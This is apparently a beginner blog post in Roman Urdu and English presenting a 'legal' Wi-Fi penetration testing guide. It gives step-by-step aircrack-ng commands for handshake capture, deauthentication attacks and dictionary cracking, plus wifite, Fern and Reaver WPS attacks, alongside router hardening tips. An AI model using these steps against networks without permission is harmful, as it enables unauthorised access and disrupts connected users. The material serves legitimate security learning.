💣Wi-Fi Hacking Legally in 2025: Ethical Guide for Beginners (Aircrack-ng & Kali Linux))🧨

 Ajkal har banda wifi networks use krta ha. Lekin kia ap jante hein ke :

"90 percent logon ke wifi routers properly secure nahin hote"

or isi wajah se wifi networks ko hackers easily target krlete hein,, lekin hacking ek criminal activity nai ha — agar ap permission ke sath kisi network ki security check krein to ose kehte hein <<<

✅ Wi-Fi Penetration Testing — yaani kisi Wi-Fi ka test lena to check how secure it is.

Yeh kaam ethical hackers, cybersecurity experts, aur bug bounty hunters karte hain.

Illegal 🛑 Legal (Ethical) ✅

Bina ijazat kisi ka Wi-Fi todna Apne ya client ke Wi-Fi ka test karna

Criminal offense (Cybercrime Act)  Part of cybersecurity job & freelancing

Jail + fine ho sakta hai Respect + paisa dono milta hai

 🛠 TOOLS REQUIRED :

Kali Linux (latest version)

External Wi-Fi adapter (Monitor mode + Packet injection supported, e.g., Alfa AWUS036ACH)

aircrack-ng suite (already installed in Kali).          

📶 How Wi-Fi Cracking Works:

WI-FI hacking ka goal hota ha :

Handshake packets capture karna

Phir unko crack karna using dictionary attack (like rockyou.txt)

Har Wi-Fi jab device se connect hoti hai to ek 4-way handshake exchange hota hai — agar tu isay capture kar le, to password crack ho sakta hai (agar weak ho).

STEP BY STEP GUIDE TO PENTESTING A WIFI NETWORK: (LEGALLY)

✅ Step 1: Enable Monitor Mode:

👉 Command : Airmon-ng start wlan0

📌 Ye command wireless card ko monitor mode mein krdeta hai — jahan ap packets sniff kar sakte hein.

✅ Step 2: SCAN  Available Wi-Fi NetworksS

👉COMMAND : airodump-ng wlan0mon

🔧IS command se ap apne as pas ke wifi networks dekh sakte hein.

• BSSID (router ka macaddress)
• CHANNEL NUMBER (CH)
• ESSID (WIFI KA NAME)

✅ Step 3: Target a Specific Network:

👉 Command : airodump-ng --bssid(bssid) --channel(ch) wlan0mon -w capture

📍 ye command ek target network per focus kregi or Packets ko capture kre gi.Including handshake.

✅ Step 4: Kick Device to Force Handshake for (Deauth Attack):🧿

👉COMMAND : aireplay-ng --deauth 10 -a (BSSID) wlan0mon

📡 isse connected device disconnect hojaye ga or jab wo dobara connect hoga to wo handshake capture krle ga.

✅ Step 5: Crack the Password (If Weak):🧨

👉COMMAND : aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap

💣ye dictionary attack ha - agar password common ya weak hoga to crack hojye ga.

🔒 Tips for Better Security of your router: 

• Wi-fi  router ka password strong rkhein (mix symbols, caps, numbers)
• WPS feature disable kardein.
• Mac address filtering enable krein.
• WPA3 encryption use krein (agar supported ho to ) wrna rene dein 

Wrap up :

Wi-Fi hacking sikhna galat nahi, lekin use karna bina permission ke galat hai.

agar ap ethical path pe chale, to tu ban sakta hai:

💼 Certified Cybersecurity Expert

Protocol Security Level Crackable?

WEP Very Weak ✔️ Easy to crack (outdated)

WPA Weak ✔️ Crackable with handshake

WPA2 Good ✔️ Crackable (if weak password)

WPA3 Strongest ❌ Not crackable with normal handshake method

🧰 Bonus Tools for Wi-Fi Pentesting

🔎 1. Wifite

Automated tool jo aircrack-ng ka easy version hai.

👉 Command : wifite 

it scans and automatically targets vulnareble networks

you just have to sit and relax 😏

📶 2. Fern WiFi Cracker (GUI Tool)🧨

GUI-based tool (no terminal) for beginners.

👉 Command : fern-wifi-cracker

⚙️3.Reaver for(WPS Attacks)🔒

Agar Wi-Fi ka WPS on ho, to use break karne ke liye:

👉 Command :reaver -i wlan0mon -b [BSSID] -c [channel] -vv

🔥 Reaver WPS-enabled routers ke liye hota hai (jo mostly weak hote hain)🧴
